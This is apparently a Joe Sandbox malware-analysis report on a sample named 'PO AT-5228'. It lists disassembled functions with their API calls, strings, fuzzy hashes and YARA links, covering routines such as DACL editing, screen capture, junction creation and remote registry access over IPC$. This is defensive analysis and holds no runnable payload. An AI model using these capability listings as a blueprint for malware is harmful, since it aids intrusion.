Opcode Fuzzy Hash: efe3bd18e1e5fea1389c9393180b4aacb0a0c255302c4b0ddd3ff6af0c292059
Instruction Fuzzy Hash: 3661AF71610215FAEB14AF64CC86FAA7BE8FB18754F104259F925DB1D0EBB4D980CB60

Function 00BAD219 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00B6936C: __swprintf.LIBCMT ref: 00B693AB
Part of subcall function 00B6936C: __itow.LIBCMT ref: 00B693DF

CharLowerBuffW.USER32(?,?), ref: 00BAD292
GetDriveTypeW.KERNEL32 ref: 00BAD2DF
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BAD327
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BAD35E
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 00BAD38C

Strings

close, xrefs: 00BAD298
closed, xrefs: 00BAD2A6, 00BAD2AF
wait, xrefs: 00BAD349
set cd door , xrefs: 00BAD32D
open, xrefs: 00BAD2B9
type cdaudio alias cd wait, xrefs: 00BAD30A
open , xrefs: 00BAD2EE
close cd wait, xrefs: 00BAD377

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: SendString$BuffCharDriveLowerType__itow__swprintf
String ID: type cdaudio alias cd wait$ wait$close$close cd wait$closed$open$open $set cd door
API String ID: 1148790751-4113822522
Opcode ID: b4d5a92cab0dcca28c7e962692dae3c47705a2978474f2c2e9f54dfa25cf4305
Instruction ID: bc36bb916fc4986f46694947e106c5e0584dc3e3b2881ce05c013283d6cbd533
Opcode Fuzzy Hash: b4d5a92cab0dcca28c7e962692dae3c47705a2978474f2c2e9f54dfa25cf4305
Instruction Fuzzy Hash: 5C512B711043459FC700EF24C88196EB7F8EF99758F0089ADF89AA7261DB35EE06DB52

Function 00BA26BC Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000016,00000000,?,?,00BD3973,00000016,0000138C,00000016,?,00000016,00BFDDB4,00000000,?), ref: 00BA26F1
LoadStringW.USER32(00000000,?,00BD3973,00000016), ref: 00BA26FA
GetModuleHandleW.KERNEL32(00000000,00000016,?,00000FFF,?,?,00BD3973,00000016,0000138C,00000016,?,00000016,00BFDDB4,00000000,?,00000016), ref: 00BA271C
LoadStringW.USER32(00000000,?,00BD3973,00000016), ref: 00BA271F
__swprintf.LIBCMT ref: 00BA276F
__swprintf.LIBCMT ref: 00BA2780
_wprintf.LIBCMT ref: 00BA2829
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00BA2840

Strings

Line %d:, xrefs: 00BA277A
^ ERROR, xrefs: 00BA27D5
%s (%d) : ==> %s: %s %s, xrefs: 00BA2824
Line %d (File "%s"):, xrefs: 00BA2769
Error: , xrefs: 00BA27F7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 618562835-2268648507
Opcode ID: 9bb7e9110acf2a9ab8ccf912c2cce33474497e151b67151937b1f11eefa31768
Instruction ID: e8000ea02d24014918ac9734ae7feb22067e349af1d6f255a9b831530d571f64
Opcode Fuzzy Hash: 9bb7e9110acf2a9ab8ccf912c2cce33474497e151b67151937b1f11eefa31768
Instruction Fuzzy Hash: CB415E72800209BACF14FBE4DD86EEEB7B8AF16340F1000A5B50577092EE796F59DB61

Function 00BAD0B8 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 101fileCOMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,00007FFF,?,?), ref: 00BAD0D8
__swprintf.LIBCMT ref: 00BAD0FA
CreateDirectoryW.KERNEL32(?,00000000), ref: 00BAD137
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000003,02200000,00000000), ref: 00BAD15C
_memset.LIBCMT ref: 00BAD17B
_wcsncpy.LIBCMT ref: 00BAD1B7
DeviceIoControl.KERNEL32(00000000,000900A4,?,?,00000000,00000000,?,00000000), ref: 00BAD1EC
CloseHandle.KERNEL32(00000000), ref: 00BAD1F7
RemoveDirectoryW.KERNEL32(?), ref: 00BAD200
CloseHandle.KERNEL32(00000000), ref: 00BAD20A

Strings

\, xrefs: 00BAD110
:, xrefs: 00BAD11B
\??\%s, xrefs: 00BAD0F4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CloseCreateDirectoryHandle$ControlDeviceFileFullNamePathRemove__swprintf_memset_wcsncpy
String ID: :$\$\??\%s
API String ID: 2733774712-3457252023
Opcode ID: 359f0c370a513858ec6d43e5273f766cb4b368987c088c754516617ee4e22ea0
Instruction ID: 28f9f05359cf0d94777aace6c29f7dd72446437ae0b8921aaadc2883702e1c9c
Opcode Fuzzy Hash: 359f0c370a513858ec6d43e5273f766cb4b368987c088c754516617ee4e22ea0
Instruction Fuzzy Hash: A5316FB250424AABDB21DFA4DC89FAB77FCEF89740F1041B6F50AD6160EA709645CB24

Function 00B987CD Relevance: 22.7, APIs: 15, Instructions: 210COMMONLIBRARYCODE

Download Yara Rule

APIs

_copy_environ.LIBCMT ref: 00B9882D
___wtomb_environ.LIBCMT ref: 00B9884F

Part of subcall function 00B87C0E: __getptd_noexit.LIBCMT ref: 00B87C0E

__malloc_crt.LIBCMT ref: 00B98875
__malloc_crt.LIBCMT ref: 00B98892
_free.LIBCMT ref: 00B988C9
__recalloc_crt.LIBCMT ref: 00B98902
__recalloc_crt.LIBCMT ref: 00B98947
_strlen.LIBCMT ref: 00B98973
__calloc_crt.LIBCMT ref: 00B9897D
_strlen.LIBCMT ref: 00B9898C
SetEnvironmentVariableA.KERNEL32(00000000,00000000,?,?,?,?,00000000,00000000), ref: 00B989BA
_free.LIBCMT ref: 00B989D4
_free.LIBCMT ref: 00B989E1
_free.LIBCMT ref: 00B989F3
__invoke_watson.LIBCMT ref: 00B98A0D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _free$__malloc_crt__recalloc_crt_strlen$EnvironmentVariable___wtomb_environ__calloc_crt__getptd_noexit__invoke_watson_copy_environ
String ID:
API String ID: 884005220-0
Opcode ID: 7f0f1c5b8a72be5813d1a2c913ab5a33ac5eca2a2f13b92b5f4ccec50141ab55
Instruction ID: 8f296b2da9959aee61bb2661cb79ad128402d786ae72650b4a7f4643487b5995
Opcode Fuzzy Hash: 7f0f1c5b8a72be5813d1a2c913ab5a33ac5eca2a2f13b92b5f4ccec50141ab55
Instruction Fuzzy Hash: 3761B172900215AFDF216F64DC82B6D37E8EB12761F2045BAE801AB1D2DF34D942CBA5

Function 00BCE731 Relevance: 22.6, APIs: 15, Instructions: 129filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,00000000,?), ref: 00BCE754
GetFileSize.KERNEL32(00000000,00000000), ref: 00BCE76B
GlobalAlloc.KERNEL32(00000002,00000000), ref: 00BCE776
CloseHandle.KERNEL32(00000000), ref: 00BCE783
GlobalLock.KERNEL32(00000000), ref: 00BCE78C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00BCE79B
GlobalUnlock.KERNEL32(00000000), ref: 00BCE7A4
CloseHandle.KERNEL32(00000000), ref: 00BCE7AB
CreateStreamOnHGlobal.OLE32(00000000,00000001,?), ref: 00BCE7BC
OleLoadPicture.OLEAUT32(?,00000000,00000000,00BED9BC,?), ref: 00BCE7D5
GlobalFree.KERNEL32(00000000), ref: 00BCE7E5
GetObjectW.GDI32(?,00000018,000000FF), ref: 00BCE809
CopyImage.USER32(?,00000000,?,?,00002000), ref: 00BCE834
DeleteObject.GDI32(00000000), ref: 00BCE85C
SendMessageW.USER32(?,00000172,00000000,00000000), ref: 00BCE872

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Global$File$CloseCreateHandleObject$AllocCopyDeleteFreeImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3840717409-0
Opcode ID: 885004bd41d0f0d8584422853e352572b74dec804af27d0555adab2136b44eec
Instruction ID: a7120316146fed6ff0a18c5b6d4a019fb76f8b0ada73619d6541b74d1a6cfd60
Opcode Fuzzy Hash: 885004bd41d0f0d8584422853e352572b74dec804af27d0555adab2136b44eec
Instruction Fuzzy Hash: 50413775600244EFDB119F65DC88EAA7BB8EF89711F108098F916EB2A0DB75ED41DB20

Function 00BB05F8 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 230COMMON

Download Yara Rule

APIs

__wsplitpath.LIBCMT ref: 00BB076F
_wcscat.LIBCMT ref: 00BB0787
_wcscat.LIBCMT ref: 00BB0799
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00BB07AE
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB07C2
GetFileAttributesW.KERNEL32(?), ref: 00BB07DA
SetFileAttributesW.KERNEL32(?,00000000), ref: 00BB07F4
SetCurrentDirectoryW.KERNEL32(?), ref: 00BB0806

Strings

*.*, xrefs: 00BB0845

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: CurrentDirectory$AttributesFile_wcscat$__wsplitpath
String ID: *.*
API String ID: 34673085-438819550
Opcode ID: a3563cf3d4b45e83da25be50a68cf34b62c135f0f9b3342a9dd97f697fe4a549
Instruction ID: baf029750231d3ff274e3477bd9f632828f334114c3f3b1fd8d209c62e34ce39
Opcode Fuzzy Hash: a3563cf3d4b45e83da25be50a68cf34b62c135f0f9b3342a9dd97f697fe4a549
Instruction Fuzzy Hash: 298193715143419FCB24EF24C8859BFB7D8EB94304F1488AEF88AD7250EAB4D944CB52

Function 00BCEEEB Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00B7B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B7B35F

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00BCEF3B
GetFocus.USER32 ref: 00BCEF4B
GetDlgCtrlID.USER32(00000000), ref: 00BCEF56
_memset.LIBCMT ref: 00BCF081
GetMenuItemInfoW.USER32 ref: 00BCF0AC
GetMenuItemCount.USER32(00000000), ref: 00BCF0CC
GetMenuItemID.USER32(?,00000000), ref: 00BCF0DF
GetMenuItemInfoW.USER32(00000000,-00000001,00000001,?), ref: 00BCF113
GetMenuItemInfoW.USER32(00000000,?,00000001,?), ref: 00BCF15B
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 00BCF193
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00BCF1C8

Strings

0, xrefs: 00BCF079

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: c2069bbf0a5d4b8817fa1bc3628c0d2cd7d14cb2f55b559c049fc1f7e16c8359
Instruction ID: 1b2044b9ee83158025d2768bae8621186b1c98e89c371b10595e70a14c0ccafe
Opcode Fuzzy Hash: c2069bbf0a5d4b8817fa1bc3628c0d2cd7d14cb2f55b559c049fc1f7e16c8359
Instruction Fuzzy Hash: C7816B71604342EFDB20CF15C884FBABBEAEB88714F1445AEF99497291D770D905CB52

Function 00B9A867 Relevance: 21.2, APIs: 14, Instructions: 178memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00B9ABBB: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00B9ABD7
Part of subcall function 00B9ABBB: GetLastError.KERNEL32(?,00B9A69F,?,?,?), ref: 00B9ABE1
Part of subcall function 00B9ABBB: GetProcessHeap.KERNEL32(00000008,?,?,00B9A69F,?,?,?), ref: 00B9ABF0
Part of subcall function 00B9ABBB: HeapAlloc.KERNEL32(00000000,?,00B9A69F,?,?,?), ref: 00B9ABF7
Part of subcall function 00B9ABBB: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00B9AC0E

Part of subcall function 00B9AC56: GetProcessHeap.KERNEL32(00000008,00B9A6B5,00000000,00000000,?,00B9A6B5,?), ref: 00B9AC62
Part of subcall function 00B9AC56: HeapAlloc.KERNEL32(00000000,?,00B9A6B5,?), ref: 00B9AC69
Part of subcall function 00B9AC56: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00B9A6B5,?), ref: 00B9AC7A

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00B9A8CB
_memset.LIBCMT ref: 00B9A8E0
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00B9A8FF
GetLengthSid.ADVAPI32(?), ref: 00B9A910
GetAce.ADVAPI32(?,00000000,?), ref: 00B9A94D
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00B9A969
GetLengthSid.ADVAPI32(?), ref: 00B9A986
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00B9A995
HeapAlloc.KERNEL32(00000000), ref: 00B9A99C
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00B9A9BD
CopySid.ADVAPI32(00000000), ref: 00B9A9C4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00B9A9F5
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00B9AA1B
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00B9AA2F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 2a8b34053e1036080b22990d5978b3b04daa0a34943a420243ec75f8982ec81b
Instruction ID: 0006826b26fcbeee3bae80ce43edf7f01545b923476b9423f5ba8328476eabe5
Opcode Fuzzy Hash: 2a8b34053e1036080b22990d5978b3b04daa0a34943a420243ec75f8982ec81b
Instruction Fuzzy Hash: 2E517F71900209AFDF10DF94DD99EEEBBB9FF04300F048169F911AB291DB759A06CBA1

Function 00BB9DC1 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 159windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00BB9E36
CreateCompatibleBitmap.GDI32(00000000,00000007,?), ref: 00BB9E42
CreateCompatibleDC.GDI32(?), ref: 00BB9E4E
SelectObject.GDI32(00000000,?), ref: 00BB9E5B
StretchBlt.GDI32(00000006,00000000,00000000,00000007,?,?,?,?,00000007,?,00CC0020), ref: 00BB9EAF
GetDIBits.GDI32(00000006,?,00000000,00000000,00000000,?,00000000), ref: 00BB9EEB
GetDIBits.GDI32(00000006,?,00000000,?,00000000,00000028,00000000), ref: 00BB9F0F
SelectObject.GDI32(00000006,?), ref: 00BB9F17
DeleteObject.GDI32(?), ref: 00BB9F20
DeleteDC.GDI32(00000006), ref: 00BB9F27
ReleaseDC.USER32(00000000,?), ref: 00BB9F32

Strings

(, xrefs: 00BB9ED7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Object$BitsCompatibleCreateDeleteSelect$BitmapReleaseStretch
String ID: (
API String ID: 2598888154-3887548279
Opcode ID: 165c0e55a5a141d56970d5c8a8adf1f9fca0d647b17bd9923cae1ab43c4023ea
Instruction ID: 57565cfc9fc87b681df4d9144b724f7ce7f42629dfd6cd5e1bf50d0242434d1b
Opcode Fuzzy Hash: 165c0e55a5a141d56970d5c8a8adf1f9fca0d647b17bd9923cae1ab43c4023ea
Instruction Fuzzy Hash: 45513975900349AFCB14CFA8C885EAEBBF9EF48310F14885DF95AAB210C775A941CB50

Function 00BACC5C Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 155COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF), ref: 00BACCA3
LoadStringW.USER32(?,?,00000FFF,?), ref: 00BACCC5
__swprintf.LIBCMT ref: 00BACD1E
__swprintf.LIBCMT ref: 00BACD37
_wprintf.LIBCMT ref: 00BACDED
_wprintf.LIBCMT ref: 00BACE0B

Strings

"%s" (%d) : ==> %s:, xrefs: 00BACE06
^ ERROR, xrefs: 00BACD8F
"%s" (%d) : ==> %s:%s%s, xrefs: 00BACDE8
Line %d (File "%s"):, xrefs: 00BACD18, 00BACD31
Error: , xrefs: 00BACDB5

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-2391861430
Opcode ID: 14b2aaf78f4cc1c626ed371e9e37ba078592ba666313ec92576276c59069cf38
Instruction ID: 46fee02570509839355b4bf0b4a93089c542c1f8e07012cd6a4247d6bc3ca095
Opcode Fuzzy Hash: 14b2aaf78f4cc1c626ed371e9e37ba078592ba666313ec92576276c59069cf38
Instruction Fuzzy Hash: D3517E71900109BACF25EBE4CD46EEEBBB8EF1A304F1001A5F505720A2EB756F59DB61

Function 00BACA48 Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 151COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00BACA8F
LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00BACAB0
__swprintf.LIBCMT ref: 00BACB09
__swprintf.LIBCMT ref: 00BACB22
_wprintf.LIBCMT ref: 00BACBCD
_wprintf.LIBCMT ref: 00BACBEB

Strings

^ ERROR , xrefs: 00BACB64
"%s" (%d) : ==> %s:, xrefs: 00BACBE6
"%s" (%d) : ==> %s:%s%s, xrefs: 00BACBC8
Line %d (File "%s"):, xrefs: 00BACB03, 00BACB1C
Error: , xrefs: 00BACB95

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LoadString__swprintf_wprintf
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 2889450990-3420473620
Opcode ID: a04d3f5d8ab2da43e760d4fb3ee27c1474e9ef31aa132f9f779ff4291bcceffa
Instruction ID: c97e7eb9042389d6ba001536de5fd121b24c39dfd75d328df1f70fa7c5cc7999
Opcode Fuzzy Hash: a04d3f5d8ab2da43e760d4fb3ee27c1474e9ef31aa132f9f779ff4291bcceffa
Instruction Fuzzy Hash: 46517F71900249AACF25EBE0CD42EEEBBB8EF15344F1001A5F505720A2EB756F99DF61

Function 00BA55BD Relevance: 19.7, APIs: 13, Instructions: 213windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BA55D7
GetMenuItemInfoW.USER32(00000000,00000007,00000000,00000030), ref: 00BA5664
GetMenuItemCount.USER32(00C21708), ref: 00BA56ED
DeleteMenu.USER32(00C21708,00000005,00000000,000000F5,?,?), ref: 00BA577D
DeleteMenu.USER32(00C21708,00000004,00000000), ref: 00BA5785
DeleteMenu.USER32(00C21708,00000006,00000000), ref: 00BA578D
DeleteMenu.USER32(00C21708,00000003,00000000), ref: 00BA5795
GetMenuItemCount.USER32(00C21708), ref: 00BA579D
SetMenuItemInfoW.USER32(00C21708,00000004,00000000,00000030), ref: 00BA57D3
GetCursorPos.USER32(?), ref: 00BA57DD
SetForegroundWindow.USER32(00000000), ref: 00BA57E6
TrackPopupMenuEx.USER32(00C21708,00000000,?,00000000,00000000,00000000), ref: 00BA57F9
PostMessageW.USER32(00000000,00000000,00000000,00000000), ref: 00BA5805

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Menu$DeleteItem$CountInfo$CursorForegroundMessagePopupPostTrackWindow_memset
String ID:
API String ID: 3993528054-0
Opcode ID: 5a61aca236f08ad4aaa885654b661bcaf2f0ccaff53bfb58eb683f93b052c129
Instruction ID: 82a282370cc40674dd3c098ec7f813de0a07eb5f6ed4404d5e481aaeef05132c
Opcode Fuzzy Hash: 5a61aca236f08ad4aaa885654b661bcaf2f0ccaff53bfb58eb683f93b052c129
Instruction Fuzzy Hash: 4671E370649605BEEB309F58CC89FAABFE5FF42364F240286F6156A1E0CBB15D10DB90

Function 00B9A14D Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 127registryshareCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00B9A1DC
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 00B9A211
RegConnectRegistryW.ADVAPI32(?,80000002,?), ref: 00B9A22D
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,?,?,SOFTWARE\Classes\), ref: 00B9A249
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,?,?,SOFTWARE\Classes\), ref: 00B9A273
CLSIDFromString.OLE32(?,?,?,SOFTWARE\Classes\), ref: 00B9A29B
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B9A2A6
RegCloseKey.ADVAPI32(?,?,SOFTWARE\Classes\), ref: 00B9A2AB

Strings

\IPC$, xrefs: 00B9A1F3
SOFTWARE\Classes\, xrefs: 00B9A17D
\CLSID, xrefs: 00B9A193

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
